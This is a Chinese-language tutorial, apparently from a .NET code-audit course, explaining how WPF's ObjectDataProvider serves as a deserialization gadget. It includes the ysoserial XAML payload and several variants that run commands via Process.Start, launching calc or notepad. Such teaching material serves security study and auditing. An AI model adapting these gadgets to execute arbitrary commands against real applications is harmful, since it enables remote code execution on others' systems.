.NET高级代码审计(第12课)反序列化Gadget之详解ObjectDataProvider
0X01 背景
有国外研发者在微软官方Github上提出废除ObjectDataProvider的建议,大家在微软社区讨论的非常热烈,提出问题者的出发点依旧是存在巨大的安全隐患,但截止目前在.NET Core3.1版本依然可用。不出意外的话辩论将会继续持续下去,不妨碍我们先分析一波原理😄
建议没有前置知识的同学先看一看之前的课程《.NET高级代码审计(第一课)XmlSerializer反序列化漏洞》,接着再来细品 ysoserial 给出的XmlSerializer反序列化漏洞攻击载荷,大伙可能会有疑问这段XAML代码为什么会以这样的形式存在?究竟背后的原因是怎样的,带着这些问题我们一步步的来剖析解密。
<![CDATA[
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>]]>
0X02 数据源入门
WPF (全称:Windows Presentation Foundation) 是用于替代Windows Form来创建Windows客户端应用程序,WPF开发过程中主要有以下几种数据绑定方法,这些对象可以视为数据源绑定到控件
名称 | 类型 |
ADO.NET | DataTable |
XML | XmlDataProvider |
Element | ElementName |
Object | ObjectDataProvider |
前两个XML数据源和数据库对象数据源这里不详细展开,重点关注元素数据源和对象数据源 , 首先看元素数据源使用场景,下面代码示例使用 xmlns:local ="clr-namespace:ObjectDataProvider" 绑定当前运行的APP程序的命名空间,注意这里的 namespace ObjectDataProvider不是类,只是笔者创建项目的命名空间名称,有关更多的XAML知识笔者单独详细介绍,这里不做展开,例如笔者在后端.cs文件中创建Employee类定义了姓名、年龄、性别
在WPF中所有的控件都有一个共同的属性DataContext,便于将同一个对象多个属性绑定到不同的元素上。例如下XAML代码
<StackPanel>
<StackPanel.DataContext>
<local:Employee gender="female" Age="20" Name="Jessica"></local:Employee>
</StackPanel.DataContext>
<Grid>
<StackPanel>
<TextBox Text="{Binding Name}" Margin="5"></TextBox>
<TextBox Text="{Binding Age}" Margin="5"></TextBox>
<TextBox Text="{Binding gender}" Margin="5"></TextBox>
</StackPanel>
</Grid>
</StackPanel>
<StackPanel.DataContext>控件内使用的 <local:Employee gender="female" Age="20" Name="Jessica"></local:Employee> ,定义的 local:Employee 用来访问后端Employee类,分别给三个属性赋值,然后文本框使用{Binding}扩展标记绑定Name、Age、gender属性的值,这3个Text的Binding会自动沿着UI树向上就近寻找可用的DataContext。运行后如下图
0X03 ObjectDataProvider用法
上面小节介绍了后端类和前端XAML简单的配合使用,接下来讲解反序列化漏洞里的核心Gadget:ObjectDataProvider,顾名思义就是把一个非静态类实例化后的对象作为数据源提供给绑定,大概是这样的:ObjectDataProvider对象的ObjectInstance属性是类的实例化对象(obj),MethodName属性为obj的方法,其中方法中还可以含有参数MethodParamers。基本用法如下代码启动计算器
ObjectDataProvider obj = new ObjectDataProvider();
obj.MethodParameters.Add("calc");
obj.MethodName = "Start";
obj.ObjectInstance = new System.Diagnostics.Process();
但是在实际研发更多使用在XAML文件中,微软官方给出文档说ObjectDataProvider可以在XAML使用并创建对象数据源
ObjectDataProvider enables you to create your object in XAML and make it available as a binding source. It provides the following properties that enable you to execute a query on your object and bind to the results.
如下代码 <ObjectDataProvider>定义在Window控件Resources属性内作为一种资源存储,x:Key表示检索名这个很关键,ObjectType表示需要实例化的类,x:Type 等同于C#里的typeof运算符用来获取数据类型,MethodName表示DataAccess类下调用的方法名,文中的数据模板可忽略不计,关注到 <Grid DataContext="{Binding Source={StaticResource obj}}"> 通过Source绑定使用来自Key=obj的静态资源
<Window.Resources>
<ObjectDataProvider x:Key="obj" ObjectType="{x:Type data:DataAccess}" MethodName="GetEmp"></ObjectDataProvider>
<DataTemplate x:Key="EmpDataTemplate">
<StackPanel Orientation="Horizontal">
<TextBlock Text="{Binding Name}" ></TextBlock>
<TextBlock Text=" "/>
<TextBox Text="{Binding Age}" />
</StackPanel>
</DataTemplate>
</Window.Resources>
<Grid DataContext="{Binding Source={StaticResource obj}}">
<Grid.RowDefinitions>
<RowDefinition Height="Auto"/>
<RowDefinition Height="Auto"/>
<RowDefinition Height="Auto"/>
</Grid.RowDefinitions>
<ComboBox Grid.Row="0" ItemsSource="{Binding}" FontSize="30" ItemTemplate="{StaticResource EmpDataTemplate}"/>
<TextBox Grid.Row="2" Height="60" Text="{Binding gender}" FontSize="30"/>
</Grid>
上图中笔者在后端C#代码里定义DataAccess类,类中定义GetEmp()用来补位性别信息,再将补全的数据返回。举这个案例笔者想表达出ObjectDataProvider在实际开发中典型的应用,帮助更好说明它的使用场景,另外ObjectDataProvider 提供的ConstructorParameters 属性支持对类的构造方法初始化传值,如下代码 在XAML中对后端QueryData类构造方法中的Application属性赋值,启动记事本
<ObjectDataProvider x:Key="obj0" ObjectType="{x:Type local:QueryData}">
<ObjectDataProvider.ConstructorParameters>
<sys:String>notepad</sys:String>
</ObjectDataProvider.ConstructorParameters>
</ObjectDataProvider>
通过上述实际案例的讲解,想必读者朋友都能对ysoserial生成的攻击载荷有更深的认知,类比看可用 Window.Resource 或者比窗口级别更上层的 Application.Resource 替代载荷里提供的ResourceDictionary。接下来我们再看一看ResourceDictionary是干什么的?
0X04 ResourceDictionary资源集合
其实每个控件都有Resource属性,但通常都是定义再窗口级别上,例如Window.Resource,Resource属性存储了一个资源字典集合,资源集合里可以放置任意类型的对象,为了增加对资源文件的可维护性,WPF提供了ResourceDictionary对资源进行分类和汇总,实际开发中为了方便多个项目共同使用一个字典而打造的资源集合,如图添加资源字典
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:local ="clr-namespace:System.Diagnostics;assembly=System">
<ObjectDataProvider x:Key="obj" ObjectType="{x:Type local:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>calc</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
资源中也可引入XAML名称空间,例如上述代码配置Process类为了实例化的对象,调用Start方法启动计算器。另外可使用 MergedDictionaries属性指定外部的 Resource文件合并嵌入,只需在文件中添加如下内容
<Window.Resources>
<ResourceDictionary>
<ResourceDictionary.MergedDictionaries>
<ResourceDictionary Source="Dictionary1.xaml"/>
</ResourceDictionary.MergedDictionaries>
</ResourceDictionary>
</Window.Resources>
分析下来资源字典<ResourceDictionary>不是必需品,只是常见的用法帮助开发者更好的维护静态资源,笔者将资源字典去除,在XAML文件中的窗口资源属性上直接绑定ObjectDataProvider对象数据源,并引入命令空间xmlns:process="clr-namespace:System.Diagnostics;assembly=System",同样也可触发命令执行
<Window.Resources>
<ObjectDataProvider x:Key="obj" ObjectType="{x:Type process:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>"calc"</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</Window.Resources>
<Grid DataContext="{Binding Source={StaticResource obj}}"></Grid>
0X05 结语
ObjectDataProvider常用于WPF项目,大伙遇到Windows桌面应用时代码审计的重点关注XAML是否可写,若可读可写就能实现命令执行。说了这么多我们有必要回过头来看看XAML语法,请大伙继续关注下一节《.NET高级代码审计(第13课) 反序列化Gadget之详解XAML》,文章涉及的PDF和Demo已打包发布在星球,扫码左侧二维码进入星球,扫码右侧二维码关注dotNet安全矩阵公众号,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。本文首发于dotNet安全矩阵公众号:https://mp.weixin.qq.com/s/sHKR0zlW2CsphGAmv3_KVA